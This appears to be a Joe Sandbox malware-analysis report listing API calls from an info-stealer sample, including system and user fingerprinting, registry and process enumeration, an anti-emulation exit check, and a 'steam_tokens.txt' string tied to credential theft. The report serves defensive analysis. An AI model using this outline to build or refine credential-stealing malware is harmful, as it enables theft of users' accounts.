Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 4e47f3dae4184ebbc0f84e9d432cf2736b12edbc175f57c2efb5643d25b9b538
Instruction ID: e8e7ce5cc662e5c76075586a3bfb56146bbb965853b8fee3ee60d4dbcab288b7
Opcode Fuzzy Hash: 4e47f3dae4184ebbc0f84e9d432cf2736b12edbc175f57c2efb5643d25b9b538
Instruction Fuzzy Hash: C50186F1A08204EBD714DF94DD45BAABBB8F704B21F104219FA45E7280C3786900CBA1

Function 6C5C3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5C3095

Part of subcall function 6C5C35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C64F688,00001000), ref: 6C5C35D5
Part of subcall function 6C5C35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5C35E0
Part of subcall function 6C5C35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5C35FD
Part of subcall function 6C5C35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5C363F
Part of subcall function 6C5C35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5C369F
Part of subcall function 6C5C35A0: __aulldiv.LIBCMT ref: 6C5C36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C309F

Part of subcall function 6C5E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B85
Part of subcall function 6C5E5B50: EnterCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B90
Part of subcall function 6C5E5B50: LeaveCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5BD8
Part of subcall function 6C5E5B50: GetTickCount64.KERNEL32 ref: 6C5E5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5C30BE

Part of subcall function 6C5C30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5C3127
Part of subcall function 6C5C30F0: __aulldiv.LIBCMT ref: 6C5C3140

Part of subcall function 6C5FAB2A: __onexit.LIBCMT ref: 6C5FAB30

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: f1a35aba86a93823b0c0093383443e55c15e563ff758173b68329a1d2d496c3a
Instruction ID: cac7d7eb4f2d4cef863a7c772e710718c67fc8a03a0eb8ca5bf42e0be1b219d5
Opcode Fuzzy Hash: f1a35aba86a93823b0c0093383443e55c15e563ff758173b68329a1d2d496c3a
Instruction Fuzzy Hash: 01F0D632E20748D6CB10FF759C815E6B374AFAB218F50D319E85863551FB2065D8838B

Function 00739470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00739484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 007394A5
CloseHandle.KERNEL32(00000000), ref: 007394AF

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: b372493cc0f74d9610c55c594479caa90b80bf70ce457b93275aeb45337821cd
Instruction ID: 62d45faec6ace85071a21bb4d774c3c8ae45685b46a4c09173ac91ff87a119aa
Opcode Fuzzy Hash: b372493cc0f74d9610c55c594479caa90b80bf70ce457b93275aeb45337821cd
Instruction Fuzzy Hash: 7AF03A7490020CFBEB04DFA4DC4AFEA7778EB08300F004498FA09A7290D6B46A85DB91

Function 00721110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00736A1C), ref: 0072112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00736A1C), ref: 00721132
ExitProcess.KERNEL32 ref: 00721143

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a6460a458a79011e0cab4e280530b8a6a046cc52d6db263c7882b6c01ba29770
Instruction ID: 1f8246282c4d415245db9e3a26e5bc19a178e26156a02da2b18fcc4beb42d689
Opcode Fuzzy Hash: a6460a458a79011e0cab4e280530b8a6a046cc52d6db263c7882b6c01ba29770
Instruction Fuzzy Hash: D9E0E67095930CFBE7106BA0AC0EB097678BB04B01F504059F709771D0D6F52640AA99

Function 00731A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 00737500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00737542
Part of subcall function 00737500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0073757F
Part of subcall function 00737500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00737603
Part of subcall function 00737500: HeapAlloc.KERNEL32(00000000), ref: 0073760A

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

Part of subcall function 00737690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 007376A4
Part of subcall function 00737690: HeapAlloc.KERNEL32(00000000), ref: 007376AB

Part of subcall function 007377C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0073DBC0,000000FF,?,00731C99,00000000,?,01600CC8,00000000,?), ref: 007377F2
Part of subcall function 007377C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0073DBC0,000000FF,?,00731C99,00000000,?,01600CC8,00000000,?), ref: 007377F9

Part of subcall function 00737850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007211B7), ref: 00737880
Part of subcall function 00737850: HeapAlloc.KERNEL32(00000000,?,?,?,007211B7), ref: 00737887
Part of subcall function 00737850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0073789F

Part of subcall function 007378E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00736A2B), ref: 00737910
Part of subcall function 007378E0: HeapAlloc.KERNEL32(00000000,?,?,?,00736A2B), ref: 00737917
Part of subcall function 007378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0073792F

Part of subcall function 00737980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00740E00,00000000,?), ref: 007379B0
Part of subcall function 00737980: HeapAlloc.KERNEL32(00000000,?,?,?,?,00740E00,00000000,?), ref: 007379B7
Part of subcall function 00737980: GetLocalTime.KERNEL32(?,?,?,?,?,00740E00,00000000,?), ref: 007379C4
Part of subcall function 00737980: wsprintfA.USER32 ref: 007379F3

Part of subcall function 00737A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,016001B8,00000000,?,00740E10,00000000,?,00000000,00000000), ref: 00737A63
Part of subcall function 00737A30: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,016001B8,00000000,?,00740E10,00000000,?,00000000,00000000,?), ref: 00737A6A
Part of subcall function 00737A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,016001B8,00000000,?,00740E10,00000000,?,00000000,00000000,?), ref: 00737A7D

Part of subcall function 00737B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,016001B8,00000000,?,00740E10,00000000,?,00000000,00000000), ref: 00737B35

Part of subcall function 00737B90: GetKeyboardLayoutList.USER32(00000000,00000000,007405AF), ref: 00737BE1
Part of subcall function 00737B90: LocalAlloc.KERNEL32(00000040,?), ref: 00737BF9
Part of subcall function 00737B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00737C0D
Part of subcall function 00737B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00737C62
Part of subcall function 00737B90: LocalFree.KERNEL32(00000000), ref: 00737D22

Part of subcall function 00737D80: GetSystemPowerStatus.KERNEL32(?), ref: 00737DAD

GetCurrentProcessId.KERNEL32(00000000,?,01600EE8,00000000,?,00740E24,00000000,?,00000000,00000000,?,01600140,00000000,?,00740E20,00000000), ref: 0073207E

Part of subcall function 00739470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00739484
Part of subcall function 00739470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 007394A5
Part of subcall function 00739470: CloseHandle.KERNEL32(00000000), ref: 007394AF

Part of subcall function 00737E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00737E37
Part of subcall function 00737E00: HeapAlloc.KERNEL32(00000000), ref: 00737E3E
Part of subcall function 00737E00: RegOpenKeyExA.KERNEL32(80000002,015FA620,00000000,00020119,?), ref: 00737E5E
Part of subcall function 00737E00: RegQueryValueExA.KERNEL32(?,01600E68,00000000,00000000,000000FF,000000FF), ref: 00737E7F
Part of subcall function 00737E00: RegCloseKey.ADVAPI32(?), ref: 00737E92

Part of subcall function 00737F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00737FC9
Part of subcall function 00737F60: GetLastError.KERNEL32 ref: 00737FD8

Part of subcall function 00737ED0: GetSystemInfo.KERNEL32(00740E2C), ref: 00737F00
Part of subcall function 00737ED0: wsprintfA.USER32 ref: 00737F16

Part of subcall function 00738100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,016001D0,00000000,?,00740E2C,00000000,?,00000000), ref: 00738130
Part of subcall function 00738100: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,016001D0,00000000,?,00740E2C,00000000,?,00000000,00000000), ref: 00738137
Part of subcall function 00738100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00738158
Part of subcall function 00738100: __aulldiv.LIBCMT ref: 00738172
Part of subcall function 00738100: __aulldiv.LIBCMT ref: 00738180
Part of subcall function 00738100: wsprintfA.USER32 ref: 007381AC

Part of subcall function 007387C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00740E28,00000000,?), ref: 0073882F
Part of subcall function 007387C0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00740E28,00000000,?), ref: 00738836
Part of subcall function 007387C0: wsprintfA.USER32 ref: 00738850

Part of subcall function 00738320: RegOpenKeyExA.KERNEL32(00000000,015FDFA8,00000000,00020019,00000000,007405B6), ref: 007383A4

Part of subcall function 00738320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00738426
Part of subcall function 00738320: wsprintfA.USER32 ref: 00738459
Part of subcall function 00738320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0073847B
Part of subcall function 00738320: RegCloseKey.ADVAPI32(00000000), ref: 0073848C
Part of subcall function 00738320: RegCloseKey.ADVAPI32(00000000), ref: 00738499

Part of subcall function 00738680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,007405B7), ref: 007386CA
Part of subcall function 00738680: Process32First.KERNEL32(?,00000128), ref: 007386DE
Part of subcall function 00738680: Process32Next.KERNEL32(?,00000128), ref: 007386F3
Part of subcall function 00738680: CloseHandle.KERNEL32(?), ref: 00738761

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0073265B

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2204142833-0
Opcode ID: 9c4e30ab1347a23ca59312f1b75e58aaa9f48fbdebc7a994316b714448a77aae
Instruction ID: c509f81e04872d57d22c4ec0a0bd04cfdab228adb5d7cb6634443536172d1291
Opcode Fuzzy Hash: 9c4e30ab1347a23ca59312f1b75e58aaa9f48fbdebc7a994316b714448a77aae
Instruction Fuzzy Hash: 7D723C72814118FAEB1AFB90DC9BEDE7378AF14300F5142A9B15672053EF743B49CA66

Function 00735100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A820: lstrlenA.KERNEL32(00000000,?,?,00735B54,00740ADB,00740ADA,?,?,00736B16,00000000,?,015F14B8,?,0074110C,?,00000000), ref: 0073A82B
Part of subcall function 0073A820: lstrcpy.KERNEL32(t,00000000), ref: 0073A885

lstrlenA.KERNEL32(00000000,00000000,00740ACA,?,?,?,?,?,?,0073610B,?), ref: 0073512A

Strings

steam_tokens.txt, xrefs: 0073513F

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: af6740e3a13bce4f1d1527220ccf18531b0ac96e5e0f36119171021f50da16c6
Instruction ID: 849103d6b4cc6c9284c023560d9cbcdb5920e775799ee8c1faf221c58b987dec
Opcode Fuzzy Hash: af6740e3a13bce4f1d1527220ccf18531b0ac96e5e0f36119171021f50da16c6
Instruction Fuzzy Hash: 5DF0BB72910108B6EB15F7A0EC5B9ED773CAE54300F804168B49662493EF2C6619D6A3

Function 00737ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00740E2C), ref: 00737F00
wsprintfA.USER32 ref: 00737F16

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 1240cfcd4b71b55e8446ebae8d5b5c12707df30d42b7d0497d2e390bf4fc2310
Instruction ID: 77637907db0b9c6f7f747ed41c5968704b2fb3607fef03d567054a857a74fc1d
Opcode Fuzzy Hash: 1240cfcd4b71b55e8446ebae8d5b5c12707df30d42b7d0497d2e390bf4fc2310
Instruction Fuzzy Hash: 37F096F1A04218EBD714CF84DC45FAAF7BCF744714F004669F515A2280D7B95904CBD1

Function 0072B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Part of subcall function 00729E10: memcmp.MSVCRT(?,v20,00000003), ref: 00729E2D

lstrlenA.KERNEL32(00000000), ref: 0072B9C2
lstrlenA.KERNEL32(00000000), ref: 0072B9D6

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
